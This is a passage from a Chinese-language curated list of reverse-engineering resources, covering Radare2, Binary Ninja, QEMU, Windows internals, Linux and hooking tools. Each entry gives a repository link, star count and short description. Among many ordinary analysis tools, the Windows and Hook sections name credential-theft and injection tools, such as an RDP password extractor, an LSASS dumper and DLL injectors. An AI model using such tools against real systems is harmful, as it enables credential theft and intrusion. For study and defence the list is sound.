[zyszys/awesome-captcha](https://github.com/zyszys/awesome-captcha) - [**260**星][t] [Py] [kerlomz/captcha_platform](https://github.com/kerlomz/captcha_platform) [验证码识别-部署] This project is based on CNN+BLSTM+CTC to realize verificationtion. This projeccode identificat is only for deployment models. ### <a id="685f244ad7368e43dbde0a0966095066"></a>文章 # <a id="86cb7d8f548ca76534b5828cb5b0abce"></a>Radare2 *** ## <a id="0e08f9478ed8388319f267e75e2ef1eb"></a>插件&&脚本 ### <a id="ec3f0b5c2cf36004c4dd3d162b94b91a"></a>Radare2 - [**11588**星][4d] [C] [radareorg/radare2](https://github.com/radareorg/radare2) unix-like reverse engineering framework and commandline tools ### <a id="6922457cb0d4b6b87a34caf39aa31dfe"></a>新添加的 - [**410**星][5m] [Py] [itayc0hen/a-journey-into-radare2](https://github.com/itayc0hen/a-journey-into-radare2) A series of tutorials about radare2 framework from - [**339**星][20d] [TeX] [radareorg/radare2book](https://github.com/radareorg/radare2book) Radare2 official book - [**259**星][1m] [C] [radareorg/r2dec-js](https://github.com/radareorg/r2dec-js) radare2插件,将汇编代码反编译为C伪代码 - [**258**星][3m] [Rust] [radareorg/radeco](https://github.com/radareorg/radeco) radare2-based decompiler and symbol executor - [**202**星][2m] [PS] [wiredpulse/posh-r2](https://github.com/wiredpulse/posh-r2) PowerShell - Rapid Response... For the incident responder in you! ### <a id="1a6652a1cb16324ab56589cb1333576f"></a>与其他工具交互 #### <a id="dfe53924d678f9225fc5ece9413b890f"></a>未分类 - [**378**星][19d] [JS] [nowsecure/r2frida](https://github.com/nowsecure/r2frida) Radare2 and Frida better together. - 重复区段: [DBI->Frida->工具->与其他工具交互->Radare2](#ac053c4da818ca587d57711d2ff66278) | #### <a id="1cfe869820ecc97204a350a3361b31a7"></a>IDA ### <a id="f7778a5392b90b03a3e23ef94a0cc3c6"></a>GUI - [**6176**星][t] [C++] [radareorg/cutter](https://github.com/radareorg/cutter) 逆向框架 radare2的Qt界面,iaito的升级版 *** ## <a id="95fdc7692c4eda74f7ca590bb3f12982"></a>文章&&视频 - 2019.10 [prsecurity] [Radare2 for RE CTF](https://medium.com/p/e0163cb0466e) - 2019.09 [securityartwork] [YaraRET (I): Carving with Radare2 & Yara](https://www.securityartwork.es/2019/09/02/yararet-i-carving-with-radare2-yara/) - 2019.07 [freebuf] [教你使用Cutter和Radare2对APT32恶意程序流程图进行反混淆处理](https://www.freebuf.com/articles/network/208019.html) - 2019.07 [THER] [0x0D - FLARE-On #3 Challenge Part 2 [Reversing with Radare2]](https://www.youtube.com/watch?v=QP9Cepdqf-o) - 2019.07 [THER] [0x0C - Cutter: FLARE-On #3 Challenge Part 1 [Reversing with Radare2]](https://www.youtube.com/watch?v=hbEpVwD5rJI) - 2019.07 [THER] [0x09 Cross References [Reversing with Radare2]](https://www.youtube.com/watch?v=yOtx6LL_R08) - 2019.07 [THER] [0x08 Navigation [Reversing with Radare2]](https://www.youtube.com/watch?v=rkygJSjJbso) - 2019.07 [THER] [0x04 Target Application [Reversing with Radare2]](https://www.youtube.com/watch?v=jlr3FablVIc) - 2019.06 [THER] [0x03 Environment Setup [Reversing with Radare2]](https://www.youtube.com/watch?v=qGSFk_CkIaw) - 2019.06 [THER] [0x02 What is Radare2 [Reversing with Radare2]](https://www.youtube.com/watch?v=9fLfD2fZWiA) - 2019.06 [THER] [0x00 Intro [Reversing with Radare2]](https://www.youtube.com/watch?v=Lva32dXS0mU) - 2019.06 [hitbsecconf] [#HITB2019AMS D1T3 - Overcoming Fear: Reversing With Radare2 - Arnau Gamez Montolio](https://www.youtube.com/watch?v=317dNavABKo) - 2019.05 [X0x0FFB347] [Solving MalwareTech Shellcode challenges with some radare2 magic!](https://medium.com/p/b91c85babe4b) - 2019.05 [360] [使用Cutter和Radare2对APT32恶意程序流程图进行反混淆处理](https://www.anquanke.com/post/id/178047/) - 2019.04 [X0x0FFB347] [Solving MalwareTech String Challenges With Some Radare2 Magic!](https://medium.com/p/98ebd8ff0b88) - 2019.04 [radare] [Radare2 Summer of Code 2019 Selection Results](https://radareorg.github.io/blog/posts/rsoc-2019-selection/) - 2019.04 [radare] [Radare2 Summer of Code 2019 Selection Results](http://radare.today/posts/rsoc-2019-selection/) - 2019.03 [sans] [Binary Analysis with Jupyter and Radare2](https://isc.sans.edu/forums/diary/Binary+Analysis+with+Jupyter+and+Radare2/24748/) - 2019.02 [freebuf] [Radare2:一款类Unix命令行逆向安全框架](https://www.freebuf.com/sectool/195703.html) - 2019.02 [radare] [Radare2 Community Survey Results](http://radare.today/posts/radare2-survey/) # <a id="afb7259851922935643857c543c4b0c2"></a>BinaryNinja *** ## <a id="3034389f5aaa9d7b0be6fa7322340aab"></a>插件&&脚本 ### <a id="a750ac8156aa0ff337a8639649415ef1"></a>新添加的 - [**2820**星][30d] [Py] [androguard/androguard](https://github.com/androguard/androguard) Reverse engineering, Malware and goodware analysis of Android applications ... and more (ninja !) - [**328**星][5m] [Py] [vector35/binaryninja-api](https://github.com/vector35/binaryninja-api) Public API, examples, documentation and issues for Binary Ninja - [**280**星][3m] [Py] [pbiernat/ripr](https://github.com/pbiernat/ripr) Package Binary Code as a Python class using Binary Ninja and Unicorn Engine - [**201**星][6d] [JS] [ret2got/disasm.pro](https://github.com/ret2got/disasm.pro) A realtime assembler/disassembler (formerly known as disasm.ninja) ### <a id="bba1171ac550958141dfcb0027716f41"></a>与其他工具交互 #### <a id="c2f94ad158b96c928ee51461823aa953"></a>未分类 #### <a id="713fb1c0075947956651cc21a833e074"></a>IDA *** ## <a id="2d24dd6f0c01a084e88580ad22ce5b3c"></a>文章&&视频 - 2018.09 [aliyun] [使用Binary Ninja调试共享库](https://xz.aliyun.com/t/2826) - 2018.09 [kudelskisecurity] [Analyzing ARM Cortex-based MCU firmwares using Binary Ninja](https://research.kudelskisecurity.com/2018/09/25/analyzing-arm-cortex-based-mcu-firmwares-using-binary-ninja/) - 2018.04 [trailofbits] [使用Binary Ninja的MLIL和SSA, 挖掘二进制文件的漏洞. (MLIL: Medium Level IL, 中间层IL)(SSA: Single Static Assignment)](https://blog.trailofbits.com/2018/04/04/vulnerability-modeling-with-binary-ninja/) - 2018.01 [pediy] [[翻译]逆向平台Binary Ninja介绍](https://bbs.pediy.com/thread-224141.htm) - 2017.11 [] [bnpy - A python architecture plugin for Binary Ninja](https://0xec.blogspot.com/2017/11/bnpy-python-architecture-plugin-for.html) - 2017.10 [ret2] [Untangling Exotic Architectures with Binary Ninja](http://blog.ret2.io/2017/10/17/untangling-exotic-architectures-with-binary-ninja/) - 2017.10 [chokepoint] [Pin Visual Coverage Tool for Binary Ninja](http://www.chokepoint.net/2017/10/pin-visual-coverage-tool-for-binary.html) # <a id="747ddaa20f643da415284bfba9cda3a2"></a>模拟器&&虚拟机 *** ## <a id="796b64906655228d8a1ff8c0dd390451"></a>QEMU ### <a id="296c7f25266b25e5ee1107dd76e40dd2"></a>工具 #### <a id="82072558d99a6cf23d4014c0ae5b420a"></a>新添加的 - [**7037**星][2m] [Shell] [kholia/osx-kvm](https://github.com/kholia/osx-kvm) Run macOS on QEMU/KVM. No support is provided at the moment. - [**1308**星][18d] [C] [cisco-talos/pyrebox](https://github.com/cisco-talos/pyrebox) 逆向沙箱,基于QEMU,Python Scriptable - [**1070**星][18d] [Shell] [dhruvvyas90/qemu-rpi-kernel](https://github.com/dhruvvyas90/qemu-rpi-kernel) Qemu kernel for emulating Rpi on QEMU - [**601**星][29d] [Py] [nongiach/arm_now](https://github.com/nongiach/arm_now) 快速创建并运行不同CPU架构的虚拟机, 用于逆向分析或执行二进制文件. 基于QEMU - [**532**星][7m] [Java] [limboemu/limbo](https://github.com/limboemu/limbo) Limbo is a QEMU-based emulator for Android. It currently supports PC & ARM emulation for Intel x86 and ARM architecture. See our wiki - 重复区段: [Android->工具->Emulator](#5afa336e229e4c38ad378644c484734a) | - [**512**星][5m] [C] [decaf-project/decaf](https://github.com/decaf-project/DECAF) DECAF (short for Dynamic Executable Code Analysis Framework) is a binary analysis platform based on QEMU. This is also the home of the DroidScope dynamic Android malware analysis platform. DroidScope is now an extension to DECAF. - [**375**星][] [C] [vanhauser-thc/aflplusplus](https://github.com/vanhauser-thc/aflplusplus) 带社区补丁的afl 2.56b - [**278**星][13d] [Shell] [drtyhlpr/rpi23-gen-image](https://github.com/drtyhlpr/rpi23-gen-image) Advanced Debian "stretch" and "buster" bootstrap script for RPi 0/1/2/3 and QEMU - [**277**星][1m] [C] [beckus/qemu_stm32](https://github.com/beckus/qemu_stm32) QEMU with an STM32 microcontroller implementation - [**242**星][10m] [C++] [revng/revng](https://github.com/revng/revng) 二进制分析工具,基于QEMU 和LLVM ### <a id="5df30a166c2473fdadf5a578d1a70e32"></a>文章&&视频 *** ## <a id="a13effff89633708c814ae9410da835a"></a>其他 # <a id="2f81493de610f9b796656b269380b2de"></a>Windows *** ## <a id="b478e9a9a324c963da11437d18f04998"></a>工具 ### <a id="f9fad1d4d1f0e871a174f67f63f319d8"></a>新添加的 ### <a id="1afda3039b4ab9a3a1f60b179ccb3e76"></a>其他 - [**949**星][3m] [C] [basil00/divert](https://github.com/basil00/divert) 用户模式数据包拦截库,适用于Win 7/8/10 - [**863**星][5d] [C++] [henrypp/simplewall](https://github.com/henrypp/simplewall) 为Windows 过滤平台提供的配置界面 - [**726**星][2m] [Py] [diyan/pywinrm](https://github.com/diyan/pywinrm) Python实现的WinRM客户端 - [**570**星][24d] [C] [hfiref0x/winobjex64](https://github.com/hfiref0x/winobjex64) Windows对象浏览器. x64 - [**463**星][8m] [C#] [microsoft/dbgshell](https://github.com/microsoft/dbgshell) PowerShell编写的Windows调试器引擎前端 - [**418**星][7d] [C] [samba-team/samba](https://github.com/samba-team/samba) 适用于Linux和Unix的标准Windows interoperability程序套件 - [**389**星][2m] [C#] [microsoft/binskim](https://github.com/microsoft/binskim) 二进制静态分析工具,可为PE和ELF二进制格式提供安全性和正确性分析 - [**387**星][11d] [Jupyter Notebook] [microsoft/windowsdefenderatp-hunting-queries](https://github.com/microsoft/windowsdefenderatp-hunting-queries) 在MS Defender ATP中进行高级查询的示例 - [**370**星][19d] [Ruby] [winrb/winrm](https://github.com/winrb/winrm) 在Windows中使用WinRM的功能调用原生对象的SOAP库。Ruby编写 - [**360**星][4d] [C#] [digitalruby/ipban](https://github.com/digitalruby/ipban) 监视Windows/Linux系统的登录失败和不良行为,并封禁对应的IP地址。高度可配置,精简且功能强大。 - [**269**星][12m] [Py] [hakril/pythonforwindows](https://github.com/hakril/pythonforwindows) 简化Python与Windows操作系统交互的库 - [**238**星][5m] [PS] [microsoft/aaronlocker](https://github.com/microsoft/aaronlocker) Windows应用程序白名单 - [**233**星][10m] [Go] [masterzen/winrm](https://github.com/masterzen/winrm) Windows远程命令执行,命令行工具+库,Go编写 - [**232**星][1y] [C++] [ionescu007/simpleator](https://github.com/ionescu007/simpleator) Windows x64用户模式应用程序模拟器 - [**229**星][4m] [C] [tishion/mmloader](https://github.com/tishion/mmloader) 绕过Windows PE Loader,直接从内存中加载DLL模块(x86/x64) - [**228**星][3m] [C] [leecher1337/ntvdmx64](https://github.com/leecher1337/ntvdmx64) 在64位版本上执行Windows DOS版的 NTVDM - [**226**星][12m] [C++] [rexdf/commandtrayhost](https://github.com/rexdf/commandtrayhost) 监控Windows systray的命令行工具 - [**210**星][3m] [adguardteam/adguardforwindows](https://github.com/adguardteam/adguardforwindows) Windows系统范围的AdBlocker - [**208**星][10m] [C] [hzqst/unicorn_pe](https://github.com/hzqst/unicorn_pe) 模拟Windows PE文件的代码执行,基于Unicorn - [**205**星][3m] [C] [jasonwhite/ducible](https://github.com/jasonwhite/ducible) 使PE和PDB的构建具有可复制性 ### <a id="0af4bd8ca0fd27c9381a2d1fa8b71a1f"></a>事件日志&&事件追踪&&ETW - [**1228**星][] [JS] [jpcertcc/logontracer](https://github.com/jpcertcc/logontracer) 通过可视化和分析Windows事件日志来调查恶意的Windows登录 - [**609**星][11d] [PS] [sbousseaden/evtx-attack-samples](https://github.com/sbousseaden/evtx-attack-samples) 与特定攻击和利用后渗透技术相关的Windows事件样例 - [**504**星][9m] [C#] [lowleveldesign/wtrace](https://github.com/lowleveldesign/wtrace) Command line tracing tool for Windows, based on ETW. - [**446**星][8m] [PS] [nsacyber/event-forwarding-guidance](https://github.com/nsacyber/Event-Forwarding-Guidance) 帮助管理员使用Windows事件转发(WEF)收集与安全相关的Windows事件日志 - [**393**星][10m] [Py] [williballenthin/python-evtx](https://github.com/williballenthin/python-evtx) 纯Python编写的Windows事件日志解析器 - [**306**星][24d] [C#] [zodiacon/procmonx](https://github.com/zodiacon/procmonx) 通过Windows事件日志获取与Process Monitor显示的相同的信息,无需内核驱动 - [**282**星][10m] [C#] [nsacyber/windows-event-log-messages](https://github.com/nsacyber/Windows-Event-Log-Messages) 检索Windows二进制文件中嵌入的Windows事件日志消息的定义,并以discoverable的格式提供它们 ### <a id="d48f038b58dc921660be221b4e302f70"></a>Sysmon - [**206**星][1y] [JS] [jpcertcc/sysmonsearch](https://github.com/jpcertcc/sysmonsearch) Investigate suspicious activity by visualizing Sysmon's event log ### <a id="8ed6f25b321f7b19591ce2908b30cc88"></a>WSL - [**8566**星][2m] [microsoft/wsl](https://github.com/microsoft/WSL) Issues found on WSL - [**2845**星][8m] [Shell] [goreliu/wsl-terminal](https://github.com/goreliu/wsl-terminal) Terminal emulator for Windows Subsystem for Linux (WSL) - [**681**星][22d] [Shell] [wslutilities/wslu](https://github.com/wslutilities/wslu) A collection of utilities for Windows 10 Linux Subsystems - [**469**星][6m] [Go] [dan-v/awslambdaproxy](https://github.com/dan-v/awslambdaproxy) An AWS Lambda powered HTTP/SOCKS web proxy - [**402**星][5m] [PS] [stefanscherer/docker-windows-box](https://github.com/stefanscherer/docker-windows-box) Various Vagrant envs with Windows 2019/10 and Docker, Swarm mode, LCOW, WSL2, ... ### <a id="d90b60dc79837e06d8ba2a7ee1f109d3"></a>.NET - [**12676**星][6d] [C#] [0xd4d/dnspy](https://github.com/0xd4d/dnspy) .NET debugger and assembly editor - [**9261**星][3d] [C#] [icsharpcode/ilspy](https://github.com/icsharpcode/ilspy) .NET Decompiler - [**3694**星][19d] [C#] [0xd4d/de4dot](https://github.com/0xd4d/de4dot) .NET deobfuscator and unpacker. - [**3263**星][7m] [JS] [sindresorhus/speed-test](https://github.com/sindresorhus/speed-test) Test your internet connection speed and ping using speedtest.net from the CLI - [**1657**星][6d] [C#] [jbevain/cecil](https://github.com/jbevain/cecil) C#库, 探查/修改/生成 .NET App/库 - [**217**星][11m] [C#] [rainwayapp/warden](https://github.com/rainwayapp/warden) Warden.NET is an easy to use process management library for keeping track of processes on Windows. ### <a id="6d2fe834b7662ecdd48c17163f732daf"></a>Environment&&环境&&配置 - [**1521**星][10m] [PS] [joefitzgerald/packer-windows](https://github.com/joefitzgerald/packer-windows) 使用Packer创建Vagrant boxes的模板 - [**1347**星][23d] [Go] [securitywithoutborders/hardentools](https://github.com/securitywithoutborders/hardentools) 禁用许多有危险的Windows功能 - [**1156**星][1y] [HTML] [nsacyber/windows-secure-host-baseline](https://github.com/nsacyber/Windows-Secure-Host-Baseline) Windows 10和Windows Server 2016 DoD 安全主机基准设置的配置指南 - [**1008**星][6m] [adolfintel/windows10-privacy](https://github.com/adolfintel/windows10-privacy) Win10隐私指南 - [**508**星][8d] [PS] [stefanscherer/packer-windows](https://github.com/stefanscherer/packer-windows) Windows Packer 模板:Win10, Server 2016, 1709, 1803, 1809, 2019, 1903, Insider with Docker ### <a id="8bfd27b42bb75956984994b3419fb582"></a>进程注入 ### <a id="b0d50ee42d53b1f88b32988d34787137"></a>DLL注入 - [**713**星][5m] [C++] [darthton/xenos](https://github.com/darthton/xenos) Windows DLL 注入器 ### <a id="1c6069610d73eb4246b58d78c64c9f44"></a>代码注入 ### <a id="7c1541a69da4c025a89b0571d8ce73d2"></a>内存模块 ### <a id="16001cb2fae35b722deaa3b9a8e5f4d5"></a>Shellcode - [**686**星][10m] [Py] [merrychap/shellen](https://github.com/merrychap/shellen) 交互式Shellcode开发环境 - [**588**星][2m] [PS] [monoxgas/srdi](https://github.com/monoxgas/srdi) Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode - [**536**星][5m] [C++] [nytrorst/shellcodecompiler](https://github.com/nytrorst/shellcodecompiler) 将C/C ++样式代码编译成一个小的、与位置无关且无NULL的Shellcode,用于Windows(x86和x64)和Linux(x86和x64) - 重复区段: [Linux->工具](#89e277bca2740d737c1aeac3192f374c) | - [**388**星][1y] [Assembly] [hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode) Converts PE into a shellcode ### <a id="19cfd3ea4bd01d440efb9d4dd97a64d0"></a>VT&&虚拟化&&Hypbervisor - [**1348**星][14d] [C] [intel/haxm](https://github.com/intel/haxm) Intel 开源的英特尔硬件加速执行管理器,通过硬件辅助的虚拟化引擎,加速 Windows/macOS 主机上的 IA emulation((x86/ x86_64) ) - [**1011**星][1y] [C] [ionescu007/simplevisor](https://github.com/ionescu007/simplevisor) 英特尔VT-x虚拟机管理程序,简单、可移植。支持Windows和UEFI - [**717**星][15d] [C++] [tandasat/hyperplatform](https://github.com/tandasat/hyperplatform) 基于Intel VT-x的虚拟机管理程序,旨在在Windows上提供精简的VM-exit过滤平台 - [**570**星][11m] [C] [asamy/ksm](https://github.com/asamy/ksm) 快速、hackable且简单的x64 VT-x虚拟机管理程序,支持Windows和Linux - 重复区段: [Linux->工具](#89e277bca2740d737c1aeac3192f374c) | ### <a id="c3cda3278305549f4c21df25cbf638a4"></a>内核&&驱动 - [**933**星][9m] [C] [microsoft/windows-driver-frameworks](https://github.com/microsoft/windows-driver-frameworks) Windows驱动框架(WDF) - [**781**星][11d] [axtmueller/windows-kernel-explorer](https://github.com/axtmueller/windows-kernel-explorer) Windows内核研究工具 - [**510**星][5m] [Py] [rabbitstack/fibratus](https://github.com/rabbitstack/fibratus) Windows内核探索和跟踪工具 - [**479**星][1m] [C] [jkornev/hidden](https://github.com/jkornev/hidden) Windows驱动,带用户模式接口:隐藏文件系统和注册表对象、保护进程等 - [**278**星][4d] [PS] [microsoftdocs/windows-driver-docs](https://github.com/MicrosoftDocs/windows-driver-docs) 官方Windows驱动程序工具包文档 ### <a id="920b69cea1fc334bbc21a957dd0d9f6f"></a>注册表 - [**490**星][6d] [Batchfile] [chef-koch/regtweaks](https://github.com/chef-koch/regtweaks) Windows注册表调整(Win 7-Win 10) - [**288**星][8m] [Py] [williballenthin/python-registry](https://github.com/williballenthin/python-registry) 用于对Windows NT注册表文件进行纯读取访问的Python库 ### <a id="d295182c016bd9c2d5479fe0e98a75df"></a>系统调用 - [**725**星][2m] [HTML] [j00ru/windows-syscalls](https://github.com/j00ru/windows-syscalls) Windows 系统调用表(NT/2000/XP/2003/Vista/2008/7/2012/8/10) - [**328**星][1m] [C] [hfiref0x/syscalltables](https://github.com/hfiref0x/syscalltables) Windows NT x64系统调用表 ### <a id="a82bb5fff6cb644fb34db2b257f2061b"></a>加壳&&脱壳 #### <a id="ccd2a4f85dbac99ccbedc745c2768f01"></a>新添加的 - [**212**星][26d] [Shell] [ryran/xsos](https://github.com/ryran/xsos) instantaneously gather information about a system together in an easy-to-read-summary, whether that system is the localhost on which xsos is being run or a system for which you have an unpacked sosreport #### <a id="197f3a24a98c86c065273c3121d13f3b"></a>Themida #### <a id="d4b660c75f60ee317569b6eac48e117f"></a>VMProtect *** ## <a id="3939f5e83ca091402022cb58e0349ab8"></a>文章 ### <a id="cd60c8e438bde4b3da791eabf845f679"></a>Themida - 2018.08 [pediy] [[原创]浅谈VMP、safengine和Themida的反虚拟机](https://bbs.pediy.com/thread-246358.htm) - 2016.03 [pediy] [[原创]Themida 2260 虚拟机 FISH 初探 (二)](https://bbs.pediy.com/thread-208217.htm) - 2016.03 [pediy] [[原创]Themida 2260 虚拟机 FISH 初探(一)](https://bbs.pediy.com/thread-208207.htm) - 2014.09 [pediy] [[原创]菜鸟脱壳---Themida](https://bbs.pediy.com/thread-192834.htm) - 2013.06 [pediy] [[原创]脱壳手记---Themida(2.1.2.0)](https://bbs.pediy.com/thread-173013.htm) - 2013.06 [pediy] [脱壳手记---themida(1.8.5.5)](https://bbs.pediy.com/thread-172921.htm) - 2011.09 [pediy] [[原创]如何中断Themida的MessageBox对话框](https://bbs.pediy.com/thread-140298.htm) - 2009.09 [pediy] [[原创]说说THEMIDA新版的DIY](https://bbs.pediy.com/thread-98381.htm) - 2009.08 [pediy] [[分享]Themida + WinLicense 2.0.6.5 (Inline Patching)视频教程和工具](https://bbs.pediy.com/thread-96053.htm) - 2009.08 [pediy] [[原创] 简单修复Themida加壳的VC7+去除软件自校验](https://bbs.pediy.com/thread-95400.htm) - 2009.08 [pediy] [[转帖]TheMida - WinLicense Info Script by LCF-AT](https://bbs.pediy.com/thread-94993.htm) - 2009.07 [pediy] [[求助]请问怎么才能让自己的虚拟机避开Themida的检测](https://bbs.pediy.com/thread-93164.htm) - 2008.12 [pediy] [[原创]Detect all versions of Themida/WinLicense(更新……)](https://bbs.pediy.com/thread-79412.htm) - 2008.12 [pediy] [[分享]Themida2.0.4.0 DLL脱壳(无SDK)附个查版本号的脚本,可查DLL](https://bbs.pediy.com/thread-79391.htm) - 2008.12 [pediy] [[原创]inline hook SSDT 躲避 Themida 的ThreadHideFromDebugger (学习笔记2)](https://bbs.pediy.com/thread-78423.htm) - 2008.11 [pediy] [[分享]themida跟踪手记第一部分](https://bbs.pediy.com/thread-76107.htm) - 2008.09 [pediy] [[原创]对Themida1.9.1.0的通法破解一文的补充(再修正)](https://bbs.pediy.com/thread-73425.htm) - 2008.09 [pediy] [[原创]Themida1.9.1.0版的通法破解](https://bbs.pediy.com/thread-73257.htm) - 2008.09 [pediy] [[原创]Themida IAT处理部分的简单分析](https://bbs.pediy.com/thread-73227.htm) - 2008.09 [pediy] [[原创]Themida的另类破解](https://bbs.pediy.com/thread-72152.htm) # <a id="dc664c913dc63ec6b98b47fcced4fdf0"></a>Linux *** ## <a id="89e277bca2740d737c1aeac3192f374c"></a>工具 - [**1450**星][2m] [C] [feralinteractive/gamemode](https://github.com/feralinteractive/gamemode) Optimise Linux system performance on demand - [**1413**星][13d] [C++] [google/nsjail](https://github.com/google/nsjail) A light-weight process isolation tool, making use of Linux namespaces and seccomp-bpf syscall filters (with help of the kafel bpf language) - [**895**星][21d] [C] [buserror/simavr](https://github.com/buserror/simavr) simavr is a lean, mean and hackable AVR simulator for linux & OSX - [**759**星][30d] [Py] [korcankaraokcu/pince](https://github.com/korcankaraokcu/pince) A reverse engineering tool that'll supply the place of Cheat Engine for linux - [**741**星][2m] [C] [yrp604/rappel](https://github.com/yrp604/rappel) A linux-based assembly REPL for x86, amd64, armv7, and armv8 - [**731**星][9d] [C] [strace/strace](https://github.com/strace/strace) strace is a diagnostic, debugging and instructional userspace utility for Linux - [**570**星][11m] [C] [asamy/ksm](https://github.com/asamy/ksm) 快速、hackable且简单的x64 VT-x虚拟机管理程序,支持Windows和Linux - 重复区段: [Windows->工具->VT](#19cfd3ea4bd01d440efb9d4dd97a64d0) | - [**565**星][4d] [C++] [intel/linux-sgx](https://github.com/intel/linux-sgx) Intel SGX for Linux* - [**560**星][2m] [Py] [autotest/autotest](https://github.com/autotest/autotest) Fully automated tests on Linux - [**536**星][5m] [C++] [nytrorst/shellcodecompiler](https://github.com/nytrorst/shellcodecompiler) 将C/C ++样式代码编译成一个小的、与位置无关且无NULL的Shellcode,用于Windows(x86和x64)和Linux(x86和x64) - 重复区段: [Windows->工具->Shellcode](#16001cb2fae35b722deaa3b9a8e5f4d5) | - [**509**星][7m] [C] [iovisor/ply](https://github.com/iovisor/ply) Dynamic Tracing in Linux - [**468**星][] [C] [libreswan/libreswan](https://github.com/libreswan/libreswan) an Internet Key Exchange (IKE) implementation for Linux. - [**441**星][4d] [C] [facebook/openbmc](https://github.com/facebook/openbmc) OpenBMC is an open software framework to build a complete Linux image for a Board Management Controller (BMC). - [**405**星][10m] [Shell] [microsoft/linux-vm-tools](https://github.com/microsoft/linux-vm-tools) Hyper-V Linux Guest VM Enhancements - [**393**星][1m] [Shell] [yadominjinta/atilo](https://github.com/yadominjinta/atilo) Linux installer for termux - [**354**星][2m] [C] [seccomp/libseccomp](https://github.com/seccomp/libseccomp) an easy to use, platform independent, interface to the Linux Kernel's syscall filtering mechanism - [**331**星][4m] [Go] [capsule8/capsule8](https://github.com/capsule8/capsule8) 对云本地,容器和传统的基于 Linux 的服务器执行高级的行为监控 - [**282**星][1m] [Py] [facebook/fbkutils](https://github.com/facebook/fbkutils) A variety of utilities built and maintained by Facebook's Linux Kernel Team that we wish to share with the community. - [**228**星][7m] [C] [wkz/ply](https://github.com/wkz/ply) Light-weight Dynamic Tracer for Linux *** ## <a id="f6d78e82c3e5f67d13d9f00c602c92f0"></a>文章 # <a id="3f1fde99538be4662dca6747a365640b"></a>Hook *** ## <a id="cfe974d48bbb90a930bf667c173616c7"></a>工具 - [**1246**星][1y] [Kotlin] [gh0u1l5/wechatspellbook](https://github.com/gh0u1l5/wechatspellbook) 一个使用Kotlin编写的开源微信插件框架,底层需要 Xposed 或 VirtualXposed 等Hooking框架的支持,而顶层可以轻松对接Java、Kotlin、Scala等JVM系语言。让程序员能够在几分钟内编写出简单的微信插件,随意揉捏微信的内部逻辑。 - [**1117**星][1y] [ObjC] [yulingtianxia/fishchat](https://github.com/yulingtianxia/fishchat) Hook WeChat.app on non-jailbroken devices. - [**1033**星][5m] [C++] [everdox/infinityhook](https://github.com/everdox/infinityhook) Hook system calls, context switches, page faults and more. - [**770**星][11d] [Go] [thoughtworks/talisman](https://github.com/thoughtworks/talisman) By hooking into the pre-push hook provided by Git, Talisman validates the outgoing changeset for things that look suspicious - such as authorization tokens and private keys. - [**680**星][8m] [Java] [pagalaxylab/yahfa](https://github.com/PAGalaxyLab/YAHFA) Yet Another Hook Framework for ART - [**660**星][9m] [C++] [ysc3839/fontmod](https://github.com/ysc3839/fontmod) Simple hook tool to change Win32 program font. - [**643**星][3m] [C++] [stevemk14ebr/polyhook](https://github.com/stevemk14ebr/polyhook) x86/x64 C++ Hooking Library - [**600**星][24d] [C] [mohuihui/antispy](https://github.com/mohuihui/antispy) AntiSpy is a free but powerful anti virus and rootkits toolkit.It offers you the ability with the highest privileges that can detect,analyze and restore various kernel modifications and hooks.With its assistance,you can easily spot and neutralize malwares hidden from normal detectors. - [**575**星][6d] [C] [yulingtianxia/blockhook](https://github.com/yulingtianxia/blockhook) Hook Objective-C blocks. A powerful AOP tool. - [**572**星][8m] [ObjC] [rpetrich/captainhook](https://github.com/rpetrich/captainhook) Common hooking/monkey patching headers for Objective-C on Mac OS X and iPhone OS. MIT licensed - [**533**星][1y] [Objective-C++] [davidgoldman/inspectivec](https://github.com/davidgoldman/inspectivec) objc_msgSend hook for debugging/inspection purposes. - [**526**星][2m] [C#] [crosire/scripthookvdotnet](https://github.com/crosire/scripthookvdotnet) An ASI plugin for Grand Theft Auto V, which allows running scripts written in any .NET language in-game. - [**483**星][1y] [C++] [tandasat/ddimon](https://github.com/tandasat/ddimon) Monitoring and controlling kernel API calls with stealth hook using EPT - [**483**星][3m] [Java] [windysha/xpatch](https://github.com/windysha/xpatch) 免Root实现app加载Xposed插件工具。This is a tool to repackage apk file, then the apk can load any xposed modules installed in the device. It is another way to hook an app without root device. - [**468**星][27d] [C] [wilix-team/iohook](https://github.com/wilix-team/iohook) Node.js global keyboard and mouse listener. - [**443**星][13d] [C++] [stevemk14ebr/polyhook_2_0](https://github.com/stevemk14ebr/polyhook_2_0) C++17, x86/x64 Hooking Libary v2.0 - [**410**星][9m] [C] [darthton/hyperbone](https://github.com/darthton/hyperbone) Minimalistic VT-x hypervisor with hooks - [**393**星][1m] [C++] [0x09al/rdpthief](https://github.com/0x09al/rdpthief) Extracting Clear Text Passwords from mstsc.exe using API Hooking. - [**363**星][2m] [C++] [steven-michaud/hookcase](https://github.com/steven-michaud/hookcase) Tool for reverse engineering macOS/OS X - [**342**星][6m] [C] [zeex/subhook](https://github.com/zeex/subhook) Simple hooking library for C/C++ (x86 only, 32/64-bit, no dependencies) - [**289**星][6m] [C] [outflanknl/dumpert](https://github.com/outflanknl/dumpert) LSASS memory dumper using direct system calls and API unhooking. - [**262**星][11m] [C] [nbulischeck/tyton](https://github.com/nbulischeck/tyton) Linux内核模式Rootkit Hunter. 可检测隐藏系统模块、系统调用表Hooking、网络协议Hooking等 - [**250**星][4m] [C] [gbps/gbhv](https://github.com/gbps/gbhv) Simple x86-64 VT-x Hypervisor with EPT Hooking - [**249**星][1y] [Py] [boppreh/mouse](https://github.com/boppreh/mouse) Hook and simulate global mouse events in pure Python - [**236**星][4d] [C] [kubo/plthook](https://github.com/kubo/plthook) Hook function calls by replacing PLT(Procedure Linkage Table) entries. - [**230**星][1y] [C#] [misaka-mikoto-tech/monohooker](https://github.com/Misaka-Mikoto-Tech/MonoHooker) hook C# method at runtime without modify dll file (such as UnityEditor.dll) - [**219**星][7m] [Java] [shuihuadx/xposedhook](https://github.com/shuihuadx/xposedhook) 免重启Xposed模块改进 - [**213**星][1y] [C] [suvllian/process-inject](https://github.com/suvllian/process-inject) 在Windows环境下的进程注入方法:远程线程注入、创建进程挂起注入、反射注入、APCInject、SetWindowHookEX注入 # <a id="70e64e3147675c9bcd48d4f475396e7f"></a>Monitor&&监控&&Trace&&追踪 *** ## <a id="cd76e644d8ddbd385939bb17fceab205"></a>工具 - [**1419**星][9m] [C] [namhyung/uftrace](https://github.com/namhyung/uftrace) Function (graph) tracer for user-space # <a id="28aa8187f8a1e38ca5a55aa31a5ee0c3"></a>Game&&游戏 